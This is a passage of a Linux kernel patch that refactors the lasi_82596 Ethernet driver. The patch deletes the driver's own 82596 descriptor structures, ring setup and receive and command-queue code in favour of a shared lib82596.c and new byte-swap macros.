 #define  CHECK_WBACK(priv, addr,len) \
 	do { dma_cache_sync((priv)->dev, (void *)addr, len, DMA_TO_DEVICE); } while (0)
 
@@ -133,46 +108,18 @@
 #define PA_CPU_PORT_L_ACCESS	4
 #define PA_CHANNEL_ATTENTION	8
 
+#define OPT_SWAP_PORT	0x0001	/* Need to wordswp on the MPU port */
 
-/*
- * Define various macros for Channel Attention, word swapping etc., dependent
- * on architecture.  MVME and BVME are 680x0 based, otherwise it is Intel.
- */
+#define SYSBUS      0x0000006c;
 
-#ifdef __BIG_ENDIAN
-#define WSWAPrfd(x)  (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPrbd(x)  (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPiscp(x) (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPscb(x)  (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPcmd(x)  (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPtbd(x)  (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define WSWAPchar(x) (((u32)(x)<<16) | ((((u32)(x)))>>16))
-#define ISCP_BUSY	0x00010000
-#define MACH_IS_APRICOT	0
-#else
-#define WSWAPrfd(x)     ((struct i596_rfd *)(x))
-#define WSWAPrbd(x)     ((struct i596_rbd *)(x))
-#define WSWAPiscp(x)    ((struct i596_iscp *)(x))
-#define WSWAPscb(x)     ((struct i596_scb *)(x))
-#define WSWAPcmd(x)     ((struct i596_cmd *)(x))
-#define WSWAPtbd(x)     ((struct i596_tbd *)(x))
-#define WSWAPchar(x)    ((char *)(x))
-#define ISCP_BUSY	0x0001
-#define MACH_IS_APRICOT	1
-#endif
+/* big endian CPU, 82596 "big" endian mode */
+#define SWAP32(x)   (((u32)(x)<<16) | ((((u32)(x)))>>16))
+#define SWAP16(x)   (x)
 
-/*
- * The MPU_PORT command allows direct access to the 82596. With PORT access
- * the following commands are available (p5-18). The 32-bit port command
- * must be word-swapped with the most significant word written first.
- * This only applies to VME boards.
- */
-#define PORT_RESET		0x00	/* reset 82596 */
-#define PORT_SELFTEST		0x01	/* selftest */
-#define PORT_ALTSCP		0x02	/* alternate SCB address */
-#define PORT_ALTDUMP		0x03	/* Alternate DUMP address */
+static inline void CA(struct net_device *dev);
+static inline void MPU_PORT(struct net_device *dev, int c, dma_addr_t x);
 
-static int i596_debug = (DEB_SERIOUS|DEB_PROBE);
+#include "lib82596.c"
 
 MODULE_AUTHOR("Richard Hirst");
 MODULE_DESCRIPTION("i82596 driver");
@@ -180,246 +127,6 @@ MODULE_LICENSE("GPL");
 module_param(i596_debug, int, 0);
 MODULE_PARM_DESC(i596_debug, "lasi_82596 debug mask");
 
-/* Copy frames shorter than rx_copybreak, otherwise pass on up in
- * a full sized sk_buff.  Value of 100 stolen from tulip.c (!alpha).
- */
-static int rx_copybreak = 100;
-
-#define MAX_DRIVERS	4	/* max count of drivers */
-
-#define PKT_BUF_SZ	1536
-#define MAX_MC_CNT	64
-
-#define I596_NULL ((u32)0xffffffff)
-
-#define CMD_EOL		0x8000	/* The last command of the list, stop. */
-#define CMD_SUSP	0x4000	/* Suspend after doing cmd. */
-#define CMD_INTR	0x2000	/* Interrupt after doing cmd. */
-
-#define CMD_FLEX	0x0008	/* Enable flexible memory model */
-
-enum commands {
-	CmdNOp = 0, CmdSASetup = 1, CmdConfigure = 2, CmdMulticastList = 3,
-	CmdTx = 4, CmdTDR = 5, CmdDump = 6, CmdDiagnose = 7
-};
-
-#define STAT_C		0x8000	/* Set to 0 after execution */
-#define STAT_B		0x4000	/* Command being executed */
-#define STAT_OK		0x2000	/* Command executed ok */
-#define STAT_A		0x1000	/* Command aborted */
-
-#define	 CUC_START	0x0100
-#define	 CUC_RESUME	0x0200
-#define	 CUC_SUSPEND    0x0300
-#define	 CUC_ABORT	0x0400
-#define	 RX_START	0x0010
-#define	 RX_RESUME	0x0020
-#define	 RX_SUSPEND	0x0030
-#define	 RX_ABORT	0x0040
-
-#define TX_TIMEOUT	5
-
-#define OPT_SWAP_PORT	0x0001	/* Need to wordswp on the MPU port */
-
-
-struct i596_reg {
-	unsigned short porthi;
-	unsigned short portlo;
-	u32            ca;
-};
-
-#define EOF		0x8000
-#define SIZE_MASK	0x3fff
-
-struct i596_tbd {
-	unsigned short size;
-	unsigned short pad;
-	dma_addr_t     next;
-	dma_addr_t     data;
-	u32 cache_pad[5];		/* Total 32 bytes... */
-};
-
-/* The command structure has two 'next' pointers; v_next is the address of
- * the next command as seen by the CPU, b_next is the address of the next
- * command as seen by the 82596.  The b_next pointer, as used by the 82596
- * always references the status field of the next command, rather than the
- * v_next field, because the 82596 is unaware of v_next.  It may seem more
- * logical to put v_next at the end of the structure, but we cannot do that
- * because the 82596 expects other fields to be there, depending on command
- * type.
- */
-
-struct i596_cmd {
-	struct i596_cmd *v_next;	/* Address from CPUs viewpoint */
-	unsigned short status;
-	unsigned short command;
-	dma_addr_t     b_next;	/* Address from i596 viewpoint */
-};
-
-struct tx_cmd {
-	struct i596_cmd cmd;
-	dma_addr_t     tbd;
-	unsigned short size;
-	unsigned short pad;
-	struct sk_buff *skb;		/* So we can free it after tx */
-	dma_addr_t dma_addr;
-#ifdef __LP64__
-	u32 cache_pad[6];		/* Total 64 bytes... */
-#else
-	u32 cache_pad[1];		/* Total 32 bytes... */
-#endif
-};
-
-struct tdr_cmd {
-	struct i596_cmd cmd;
-	unsigned short status;
-	unsigned short pad;
-};
-
-struct mc_cmd {
-	struct i596_cmd cmd;
-	short mc_cnt;
-	char mc_addrs[MAX_MC_CNT*6];
-};
-
-struct sa_cmd {
-	struct i596_cmd cmd;
-	char eth_addr[8];
-};
-
-struct cf_cmd {
-	struct i596_cmd cmd;
-	char i596_config[16];
-};
-
-struct i596_rfd {
-	unsigned short stat;
-	unsigned short cmd;
-	dma_addr_t     b_next;	/* Address from i596 viewpoint */
-	dma_addr_t     rbd;
-	unsigned short count;
-	unsigned short size;
-	struct i596_rfd *v_next;	/* Address from CPUs viewpoint */
-	struct i596_rfd *v_prev;
-#ifndef __LP64__
-	u32 cache_pad[2];		/* Total 32 bytes... */
-#endif
-};
-
-struct i596_rbd {
-    /* hardware data */
-    unsigned short count;
-    unsigned short zero1;
-    dma_addr_t     b_next;
-    dma_addr_t     b_data;		/* Address from i596 viewpoint */
-    unsigned short size;
-    unsigned short zero2;
-    /* driver data */
-    struct sk_buff *skb;
-    struct i596_rbd *v_next;
-    dma_addr_t     b_addr;		/* This rbd addr from i596 view */
-    unsigned char *v_data;		/* Address from CPUs viewpoint */
-					/* Total 32 bytes... */
-#ifdef __LP64__
-    u32 cache_pad[4];
-#endif
-};
-
-/* These values as chosen so struct i596_private fits in one page... */
-
-#define TX_RING_SIZE 32
-#define RX_RING_SIZE 16
-
-struct i596_scb {
-	unsigned short status;
-	unsigned short command;
-	dma_addr_t    cmd;
-	dma_addr_t    rfd;
-	u32           crc_err;
-	u32           align_err;
-	u32           resource_err;
-	u32           over_err;
-	u32           rcvdt_err;
-	u32           short_err;
-	unsigned short t_on;
-	unsigned short t_off;
-};
-
-struct i596_iscp {
-	u32           stat;
-	dma_addr_t    scb;
-};
-
-struct i596_scp {
-	u32           sysbus;
-	u32            pad;
-	dma_addr_t    iscp;
-};
-
-struct i596_private {
-	volatile struct i596_scp scp		__attribute__((aligned(32)));
-	volatile struct i596_iscp iscp		__attribute__((aligned(32)));
-	volatile struct i596_scb scb		__attribute__((aligned(32)));
-	struct sa_cmd sa_cmd			__attribute__((aligned(32)));
-	struct cf_cmd cf_cmd			__attribute__((aligned(32)));
-	struct tdr_cmd tdr_cmd			__attribute__((aligned(32)));
-	struct mc_cmd mc_cmd			__attribute__((aligned(32)));
-	struct i596_rfd rfds[RX_RING_SIZE]	__attribute__((aligned(32)));
-	struct i596_rbd rbds[RX_RING_SIZE]	__attribute__((aligned(32)));
-	struct tx_cmd tx_cmds[TX_RING_SIZE]	__attribute__((aligned(32)));
-	struct i596_tbd tbds[TX_RING_SIZE]	__attribute__((aligned(32)));
-	u32    stat;
-	int last_restart;
-	struct i596_rfd *rfd_head;
-	struct i596_rbd *rbd_head;
-	struct i596_cmd *cmd_tail;
-	struct i596_cmd *cmd_head;
-	int cmd_backlog;
-	u32    last_cmd;
-	struct net_device_stats stats;
-	int next_tx_cmd;
-	int options;
-	spinlock_t lock;
-	dma_addr_t dma_addr;
-	struct device *dev;
-};
-
-static const char init_setup[] =
-{
-	0x8E,			/* length, prefetch on */
-	0xC8,			/* fifo to 8, monitor off */
-	0x80,			/* don't save bad frames */
-	0x2E,			/* No source address insertion, 8 byte preamble */
-	0x00,			/* priority and backoff defaults */
-	0x60,			/* interframe spacing */
-	0x00,			/* slot time LSB */
-	0xf2,			/* slot time and retries */
-	0x00,			/* promiscuous mode */
-	0x00,			/* collision detect */
-	0x40,			/* minimum frame length */
-	0xff,
-	0x00,
-	0x7f /*  *multi IA */ };
-
-static int i596_open(struct net_device *dev);
-static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev);
-static irqreturn_t i596_interrupt(int irq, void *dev_id);
-static int i596_close(struct net_device *dev);
-static struct net_device_stats *i596_get_stats(struct net_device *dev);
-static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd);
-static void i596_tx_timeout (struct net_device *dev);
-static void print_eth(unsigned char *buf, char *str);
-static void set_multicast_list(struct net_device *dev);
-
-static int rx_ring_size = RX_RING_SIZE;
-static int ticks_limit = 100;
-static int max_cmd_backlog = TX_RING_SIZE-1;
-
-#ifdef CONFIG_NET_POLL_CONTROLLER
-static void i596_poll_controller(struct net_device *dev);
-#endif
-
-
 static inline void CA(struct net_device *dev)
 {
 	gsc_writel(0, dev->base_addr + PA_CHANNEL_ATTENTION);
@@ -446,1079 +153,20 @@ static inline void MPU_PORT(struct net_device *dev, int c, dma_addr_t x)
 	gsc_writel(b, dev->base_addr + PA_CPU_PORT_L_ACCESS);
 }
 
-
-static inline int wait_istat(struct net_device *dev, struct i596_private *lp, int delcnt, char *str)
-{
-	CHECK_INV(lp, &(lp->iscp), sizeof(struct i596_iscp));
-	while (--delcnt && lp->iscp.stat) {
-		udelay(10);
-		CHECK_INV(lp, &(lp->iscp), sizeof(struct i596_iscp));
-	}
-	if (!delcnt) {
-		printk("%s: %s, iscp.stat %04x, didn't clear\n",
-		     dev->name, str, lp->iscp.stat);
-		return -1;
-	}
-	else
-		return 0;
-}
-
-
-static inline int wait_cmd(struct net_device *dev, struct i596_private *lp, int delcnt, char *str)
-{
-	CHECK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
-	while (--delcnt && lp->scb.command) {
-		udelay(10);
-		CHECK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
-	}
-	if (!delcnt) {
-		printk("%s: %s, status %4.4x, cmd %4.4x.\n",
-		     dev->name, str, lp->scb.status, lp->scb.command);
-		return -1;
-	}
-	else
-		return 0;
-}
-
-
-static void i596_display_data(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	struct i596_cmd *cmd;
-	struct i596_rfd *rfd;
-	struct i596_rbd *rbd;
-
-	printk("lp and scp at %p, .sysbus = %08x, .iscp = %08x\n",
-	       &lp->scp, lp->scp.sysbus, lp->scp.iscp);
-	printk("iscp at %p, iscp.stat = %08x, .scb = %08x\n",
-	       &lp->iscp, lp->iscp.stat, lp->iscp.scb);
-	printk("scb at %p, scb.status = %04x, .command = %04x,"
-		" .cmd = %08x, .rfd = %08x\n",
-	       &lp->scb, lp->scb.status, lp->scb.command,
-		lp->scb.cmd, lp->scb.rfd);
-	printk("   errors: crc %x, align %x, resource %x,"
-               " over %x, rcvdt %x, short %x\n",
-		lp->scb.crc_err, lp->scb.align_err, lp->scb.resource_err,
-		lp->scb.over_err, lp->scb.rcvdt_err, lp->scb.short_err);
-	cmd = lp->cmd_head;
-	while (cmd != NULL) {
-		printk("cmd at %p, .status = %04x, .command = %04x, .b_next = %08x\n",
-		  cmd, cmd->status, cmd->command, cmd->b_next);
-		cmd = cmd->v_next;
-	}
-	rfd = lp->rfd_head;
-	printk("rfd_head = %p\n", rfd);
-	do {
-		printk("   %p .stat %04x, .cmd %04x, b_next %08x, rbd %08x,"
-                        " count %04x\n",
-			rfd, rfd->stat, rfd->cmd, rfd->b_next, rfd->rbd,
-			rfd->count);
-		rfd = rfd->v_next;
-	} while (rfd != lp->rfd_head);
-	rbd = lp->rbd_head;
-	printk("rbd_head = %p\n", rbd);
-	do {
-		printk("   %p .count %04x, b_next %08x, b_data %08x, size %04x\n",
-			rbd, rbd->count, rbd->b_next, rbd->b_data, rbd->size);
-		rbd = rbd->v_next;
-	} while (rbd != lp->rbd_head);
-	CHECK_INV(lp, lp, sizeof(struct i596_private));
-}
-
-
-#if defined(ENABLE_MVME16x_NET) || defined(ENABLE_BVME6000_NET)
-static void i596_error(int irq, void *dev_id)
-{
-	struct net_device *dev = dev_id;
-	volatile unsigned char *pcc2 = (unsigned char *) 0xfff42000;
-
-	pcc2[0x28] = 1;
-	pcc2[0x2b] = 0x1d;
-	printk("%s: Error interrupt\n", dev->name);
-	i596_display_data(dev);
-}
-#endif
-
-#define virt_to_dma(lp,v) ((lp)->dma_addr + (dma_addr_t)((unsigned long)(v)-(unsigned long)(lp)))
-
-static inline void init_rx_bufs(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	int i;
-	struct i596_rfd *rfd;
-	struct i596_rbd *rbd;
-
-	/* First build the Receive Buffer Descriptor List */
-
-	for (i = 0, rbd = lp->rbds; i < rx_ring_size; i++, rbd++) {
-		dma_addr_t dma_addr;
-		struct sk_buff *skb = dev_alloc_skb(PKT_BUF_SZ + 4);
-
-		if (skb == NULL)
-			panic("%s: alloc_skb() failed", __FILE__);
-		skb_reserve(skb, 2);
-		dma_addr = dma_map_single(lp->dev, skb->data,PKT_BUF_SZ,
-					  DMA_FROM_DEVICE);
-		skb->dev = dev;
-		rbd->v_next = rbd+1;
-		rbd->b_next = WSWAPrbd(virt_to_dma(lp,rbd+1));
-		rbd->b_addr = WSWAPrbd(virt_to_dma(lp,rbd));
-		rbd->skb = skb;
-		rbd->v_data = skb->data;
-		rbd->b_data = WSWAPchar(dma_addr);
-		rbd->size = PKT_BUF_SZ;
-	}
-	lp->rbd_head = lp->rbds;
-	rbd = lp->rbds + rx_ring_size - 1;
-	rbd->v_next = lp->rbds;
-	rbd->b_next = WSWAPrbd(virt_to_dma(lp,lp->rbds));
-
-	/* Now build the Receive Frame Descriptor List */
-
-	for (i = 0, rfd = lp->rfds; i < rx_ring_size; i++, rfd++) {
-		rfd->rbd = I596_NULL;
-		rfd->v_next = rfd+1;
-		rfd->v_prev = rfd-1;
-		rfd->b_next = WSWAPrfd(virt_to_dma(lp,rfd+1));
-		rfd->cmd = CMD_FLEX;
-	}
-	lp->rfd_head = lp->rfds;
-	lp->scb.rfd = WSWAPrfd(virt_to_dma(lp,lp->rfds));
-	rfd = lp->rfds;
-	rfd->rbd = WSWAPrbd(virt_to_dma(lp,lp->rbd_head));
-	rfd->v_prev = lp->rfds + rx_ring_size - 1;
-	rfd = lp->rfds + rx_ring_size - 1;
-	rfd->v_next = lp->rfds;
-	rfd->b_next = WSWAPrfd(virt_to_dma(lp,lp->rfds));
-	rfd->cmd = CMD_EOL|CMD_FLEX;
-
-	CHECK_WBACK_INV(lp, lp, sizeof(struct i596_private));
-}
-
-static inline void remove_rx_bufs(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	struct i596_rbd *rbd;
-	int i;
-
-	for (i = 0, rbd = lp->rbds; i < rx_ring_size; i++, rbd++) {
-		if (rbd->skb == NULL)
-			break;
-		dma_unmap_single(lp->dev,
-				 (dma_addr_t)WSWAPchar(rbd->b_data),
-				 PKT_BUF_SZ, DMA_FROM_DEVICE);
-		dev_kfree_skb(rbd->skb);
-	}
-}
-
-
-static void rebuild_rx_bufs(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	int i;
-
-	/* Ensure rx frame/buffer descriptors are tidy */
-
-	for (i = 0; i < rx_ring_size; i++) {
-		lp->rfds[i].rbd = I596_NULL;
-		lp->rfds[i].cmd = CMD_FLEX;
-	}
-	lp->rfds[rx_ring_size-1].cmd = CMD_EOL|CMD_FLEX;
-	lp->rfd_head = lp->rfds;
-	lp->scb.rfd = WSWAPrfd(virt_to_dma(lp,lp->rfds));
-	lp->rbd_head = lp->rbds;
-	lp->rfds[0].rbd = WSWAPrbd(virt_to_dma(lp,lp->rbds));
-
-	CHECK_WBACK_INV(lp, lp, sizeof(struct i596_private));
-}
-
-
-static int init_i596_mem(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	unsigned long flags;
-
-	disable_irq(dev->irq);	/* disable IRQs from LAN */
-	DEB(DEB_INIT,
-		printk("RESET 82596 port: %lx (with IRQ %d disabled)\n",
-		       (dev->base_addr + PA_I82596_RESET),
-		       dev->irq));
-
-	gsc_writel(0, (dev->base_addr + PA_I82596_RESET)); /* Hard Reset */
-	udelay(100);			/* Wait 100us - seems to help */
-
-	/* change the scp address */
-
-	lp->last_cmd = jiffies;
-
-
-	lp->scp.sysbus = 0x0000006c;
-	lp->scp.iscp = WSWAPiscp(virt_to_dma(lp,&(lp->iscp)));
-	lp->iscp.scb = WSWAPscb(virt_to_dma(lp,&(lp->scb)));
-	lp->iscp.stat = ISCP_BUSY;
-	lp->cmd_backlog = 0;
-
-	lp->cmd_head = NULL;
-        lp->scb.cmd = I596_NULL;
-
-	DEB(DEB_INIT, printk("%s: starting i82596.\n", dev->name));
-
-	CHECK_WBACK(lp, &(lp->scp), sizeof(struct i596_scp));
-	CHECK_WBACK(lp, &(lp->iscp), sizeof(struct i596_iscp));
-
-	MPU_PORT(dev, PORT_ALTSCP, virt_to_dma(lp,&lp->scp));
-
-	CA(dev);
-
-	if (wait_istat(dev, lp, 1000, "initialization timed out"))
-		goto failed;
-	DEB(DEB_INIT, printk("%s: i82596 initialization successful\n", dev->name));
-
-	/* Ensure rx frame/buffer descriptors are tidy */
-	rebuild_rx_bufs(dev);
-
-	lp->scb.command = 0;
-	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
-
-	enable_irq(dev->irq);	/* enable IRQs from LAN */
-
-	DEB(DEB_INIT, printk("%s: queuing CmdConfigure\n", dev->name));
-	memcpy(lp->cf_cmd.i596_config, init_setup, sizeof(init_setup));
-	lp->cf_cmd.cmd.command = CmdConfigure;
-	CHECK_WBACK(lp, &(lp->cf_cmd), sizeof(struct cf_cmd));
-	i596_add_cmd(dev, &lp->cf_cmd.cmd);
-
-	DEB(DEB_INIT, printk("%s: queuing CmdSASetup\n", dev->name));
-	memcpy(lp->sa_cmd.eth_addr, dev->dev_addr, 6);
-	lp->sa_cmd.cmd.command = CmdSASetup;
-	CHECK_WBACK(lp, &(lp->sa_cmd), sizeof(struct sa_cmd));
-	i596_add_cmd(dev, &lp->sa_cmd.cmd);
-
-	DEB(DEB_INIT, printk("%s: queuing CmdTDR\n", dev->name));
-	lp->tdr_cmd.cmd.command = CmdTDR;
-	CHECK_WBACK(lp, &(lp->tdr_cmd), sizeof(struct tdr_cmd));
-	i596_add_cmd(dev, &lp->tdr_cmd.cmd);
-
-	spin_lock_irqsave (&lp->lock, flags);
-
-	if (wait_cmd(dev, lp, 1000, "timed out waiting to issue RX_START")) {
-		spin_unlock_irqrestore (&lp->lock, flags);
-		goto failed;
-	}
-	DEB(DEB_INIT, printk("%s: Issuing RX_START\n", dev->name));
-	lp->scb.command = RX_START;
-	lp->scb.rfd = WSWAPrfd(virt_to_dma(lp,lp->rfds));
-	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
-
-	CA(dev);
-
-	spin_unlock_irqrestore (&lp->lock, flags);
-
-	if (wait_cmd(dev, lp, 1000, "RX_START not processed"))
-		goto failed;
-	DEB(DEB_INIT, printk("%s: Receive unit started OK\n", dev->name));
-
-	return 0;
-
-failed:
-	printk("%s: Failed to initialise 82596\n", dev->name);
-	MPU_PORT(dev, PORT_RESET, 0);
-	return -1;
-}
-
-
-static inline int i596_rx(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	struct i596_rfd *rfd;
-	struct i596_rbd *rbd;
-	int frames = 0;
-
-	DEB(DEB_RXFRAME, printk("i596_rx(), rfd_head %p, rbd_head %p\n",
-			lp->rfd_head, lp->rbd_head));
-
-
-	rfd = lp->rfd_head;		/* Ref next frame to check */
-
-	CHECK_INV(lp, rfd, sizeof(struct i596_rfd));
-	while ((rfd->stat) & STAT_C) {	/* Loop while complete frames */
-		if (rfd->rbd == I596_NULL)
-			rbd = NULL;
-		else if (rfd->rbd == lp->rbd_head->b_addr) {
-			rbd = lp->rbd_head;
-			CHECK_INV(lp, rbd, sizeof(struct i596_rbd));
-		}
-		else {
-			printk("%s: rbd chain broken!\n", dev->name);
-			/* XXX Now what? */
-			rbd = NULL;
-		}
-		DEB(DEB_RXFRAME, printk("  rfd %p, rfd.rbd %08x, rfd.stat %04x\n",
-			rfd, rfd->rbd, rfd->stat));
-
-		if (rbd != NULL && ((rfd->stat) & STAT_OK)) {
-			/* a good frame */
-			int pkt_len = rbd->count & 0x3fff;
-			struct sk_buff *skb = rbd->skb;
-			int rx_in_place = 0;
-
-			DEB(DEB_RXADDR,print_eth(rbd->v_data, "received"));
-			frames++;
-
-			/* Check if the packet is long enough to just accept
-			 * without copying to a properly sized skbuff.
-			 */
-
-			if (pkt_len > rx_copybreak) {
-				struct sk_buff *newskb;
-				dma_addr_t dma_addr;
-
-				dma_unmap_single(lp->dev,(dma_addr_t)WSWAPchar(rbd->b_data), PKT_BUF_SZ, DMA_FROM_DEVICE);
-				/* Get fresh skbuff to replace filled one. */
-				newskb = dev_alloc_skb(PKT_BUF_SZ + 4);
-				if (newskb == NULL) {
-					skb = NULL;	/* drop pkt */
-					goto memory_squeeze;
-				}
-				skb_reserve(newskb, 2);
-
-				/* Pass up the skb already on the Rx ring. */
-				skb_put(skb, pkt_len);
-				rx_in_place = 1;
-				rbd->skb = newskb;
-				newskb->dev = dev;
-				dma_addr = dma_map_single(lp->dev, newskb->data, PKT_BUF_SZ, DMA_FROM_DEVICE);
-				rbd->v_data = newskb->data;
-				rbd->b_data = WSWAPchar(dma_addr);
-				CHECK_WBACK_INV(lp, rbd, sizeof(struct i596_rbd));
-			}
-			else
-				skb = dev_alloc_skb(pkt_len + 2);
-memory_squeeze:
-			if (skb == NULL) {
-				/* XXX tulip.c can defer packets here!! */
-				printk("%s: i596_rx Memory squeeze, dropping packet.\n", dev->name);
-				lp->stats.rx_dropped++;
-			}
-			else {
-				skb->dev = dev;
-				if (!rx_in_place) {
-					/* 16 byte align the data fields */
-					dma_sync_single_for_cpu(lp->dev, (dma_addr_t)WSWAPchar(rbd->b_data), PKT_BUF_SZ, DMA_FROM_DEVICE);
-					skb_reserve(skb, 2);
-					memcpy(skb_put(skb,pkt_len), rbd->v_data, pkt_len);
-					dma_sync_single_for_device(lp->dev, (dma_addr_t)WSWAPchar(rbd->b_data), PKT_BUF_SZ, DMA_FROM_DEVICE);
-				}
-				skb->len = pkt_len;
-				skb->protocol=eth_type_trans(skb,dev);
-				netif_rx(skb);
-				dev->last_rx = jiffies;
-				lp->stats.rx_packets++;
-				lp->stats.rx_bytes+=pkt_len;
-			}
-		}
-		else {
-			DEB(DEB_ERRORS, printk("%s: Error, rfd.stat = 0x%04x\n",
-					dev->name, rfd->stat));
-			lp->stats.rx_errors++;
-			if ((rfd->stat) & 0x0001)
-				lp->stats.collisions++;
-			if ((rfd->stat) & 0x0080)
-				lp->stats.rx_length_errors++;
-			if ((rfd->stat) & 0x0100)
-				lp->stats.rx_over_errors++;
-			if ((rfd->stat) & 0x0200)
-				lp->stats.rx_fifo_errors++;
-			if ((rfd->stat) & 0x0400)
-				lp->stats.rx_frame_errors++;
-			if ((rfd->stat) & 0x0800)
-				lp->stats.rx_crc_errors++;
-			if ((rfd->stat) & 0x1000)
-				lp->stats.rx_length_errors++;
-		}
-
-		/* Clear the buffer descriptor count and EOF + F flags */
-
-		if (rbd != NULL && (rbd->count & 0x4000)) {
-			rbd->count = 0;
-			lp->rbd_head = rbd->v_next;
-			CHECK_WBACK_INV(lp, rbd, sizeof(struct i596_rbd));
-		}
-
-		/* Tidy the frame descriptor, marking it as end of list */
-
-		rfd->rbd = I596_NULL;
-		rfd->stat = 0;
-		rfd->cmd = CMD_EOL|CMD_FLEX;
-		rfd->count = 0;
-
-		/* Remove end-of-list from old end descriptor */
-
-		rfd->v_prev->cmd = CMD_FLEX;
-
-		/* Update record of next frame descriptor to process */
-
-		lp->scb.rfd = rfd->b_next;
-		lp->rfd_head = rfd->v_next;
-		CHECK_WBACK_INV(lp, rfd->v_prev, sizeof(struct i596_rfd));
-		CHECK_WBACK_INV(lp, rfd, sizeof(struct i596_rfd));
-		rfd = lp->rfd_head;
-		CHECK_INV(lp, rfd, sizeof(struct i596_rfd));
-	}
-
-	DEB(DEB_RXFRAME, printk("frames %d\n", frames));
-
-	return 0;
-}
-
-
-static inline void i596_cleanup_cmd(struct net_device *dev, struct i596_private *lp)
-{
-	struct i596_cmd *ptr;
-
-	while (lp->cmd_head != NULL) {
-		ptr = lp->cmd_head;
-		lp->cmd_head = ptr->v_next;
-		lp->cmd_backlog--;
-
-		switch ((ptr->command) & 0x7) {
-		case CmdTx:
-			{
-				struct tx_cmd *tx_cmd = (struct tx_cmd *) ptr;
-				struct sk_buff *skb = tx_cmd->skb;
-				dma_unmap_single(lp->dev, tx_cmd->dma_addr, skb->len, DMA_TO_DEVICE);
-
-				dev_kfree_skb(skb);
-
-				lp->stats.tx_errors++;
-				lp->stats.tx_aborted_errors++;
-
-				ptr->v_next = NULL;
-				ptr->b_next = I596_NULL;
-				tx_cmd->cmd.command = 0;  /* Mark as free */
-				break;
-			}
-		default:
-			ptr->v_next = NULL;
-			ptr->b_next = I596_NULL;
-		}
-		CHECK_WBACK_INV(lp, ptr, sizeof(struct i596_cmd));
-	}
-
-	wait_cmd(dev, lp, 100, "i596_cleanup_cmd timed out");
-	lp->scb.cmd = I596_NULL;
-	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
-}
-
-
-static inline void i596_reset(struct net_device *dev, struct i596_private *lp)
-{
-	unsigned long flags;
-
-	DEB(DEB_RESET, printk("i596_reset\n"));
-
-	spin_lock_irqsave (&lp->lock, flags);
-
-	wait_cmd(dev, lp, 100, "i596_reset timed out");
-
-	netif_stop_queue(dev);
-
-	/* FIXME: this command might cause an lpmc */
-	lp->scb.command = CUC_ABORT | RX_ABORT;
-	CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
-	CA(dev);
-
-	/* wait for shutdown */
-	wait_cmd(dev, lp, 1000, "i596_reset 2 timed out");
-	spin_unlock_irqrestore (&lp->lock, flags);
-
-	i596_cleanup_cmd(dev,lp);
-	i596_rx(dev);
-
-	netif_start_queue(dev);
-	init_i596_mem(dev);
-}
-
-
-static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd)
-{
-	struct i596_private *lp = dev->priv;
-	unsigned long flags;
-
-	DEB(DEB_ADDCMD, printk("i596_add_cmd cmd_head %p\n", lp->cmd_head));
-
-	cmd->status = 0;
-	cmd->command |= (CMD_EOL | CMD_INTR);
-	cmd->v_next = NULL;
-	cmd->b_next = I596_NULL;
-	CHECK_WBACK(lp, cmd, sizeof(struct i596_cmd));
-
-	spin_lock_irqsave (&lp->lock, flags);
-
-	if (lp->cmd_head != NULL) {
-		lp->cmd_tail->v_next = cmd;
-		lp->cmd_tail->b_next = WSWAPcmd(virt_to_dma(lp,&cmd->status));
-		CHECK_WBACK(lp, lp->cmd_tail, sizeof(struct i596_cmd));
-	} else {
-		lp->cmd_head = cmd;
-		wait_cmd(dev, lp, 100, "i596_add_cmd timed out");
-		lp->scb.cmd = WSWAPcmd(virt_to_dma(lp,&cmd->status));
-		lp->scb.command = CUC_START;
-		CHECK_WBACK(lp, &(lp->scb), sizeof(struct i596_scb));
-		CA(dev);
-	}
-	lp->cmd_tail = cmd;
-	lp->cmd_backlog++;
-
-	spin_unlock_irqrestore (&lp->lock, flags);
-
-	if (lp->cmd_backlog > max_cmd_backlog) {
-		unsigned long tickssofar = jiffies - lp->last_cmd;
-
-		if (tickssofar < ticks_limit)
-			return;
-
-		printk("%s: command unit timed out, status resetting.\n", dev->name);
-#if 1
-		i596_reset(dev, lp);
-#endif
-	}
-}
-
-#if 0
-/* this function makes a perfectly adequate probe...  but we have a
-   device list */
-static int i596_test(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	volatile int *tint;
-	u32 data;
-
-	tint = (volatile int *)(&(lp->scp));
-	data = virt_to_dma(lp,tint);
-
-	tint[1] = -1;
-	CHECK_WBACK(lp, tint, PAGE_SIZE);
-
-	MPU_PORT(dev, 1, data);
-
-	for(data = 1000000; data; data--) {
-		CHECK_INV(lp, tint, PAGE_SIZE);
-		if(tint[1] != -1)
-			break;
-
-	}
-
-	printk("i596_test result %d\n", tint[1]);
-
-}
-#endif
-
-
-static int i596_open(struct net_device *dev)
-{
-	DEB(DEB_OPEN, printk("%s: i596_open() irq %d.\n", dev->name, dev->irq));
-
-	if (request_irq(dev->irq, &i596_interrupt, 0, "i82596", dev)) {
-		printk("%s: IRQ %d not free\n", dev->name, dev->irq);
-		goto out;
-	}
-
-	init_rx_bufs(dev);
-
-	if (init_i596_mem(dev)) {
-		printk("%s: Failed to init memory\n", dev->name);
-		goto out_remove_rx_bufs;
-	}
-
-	netif_start_queue(dev);
-
-	return 0;
-
-out_remove_rx_bufs:
-	remove_rx_bufs(dev);
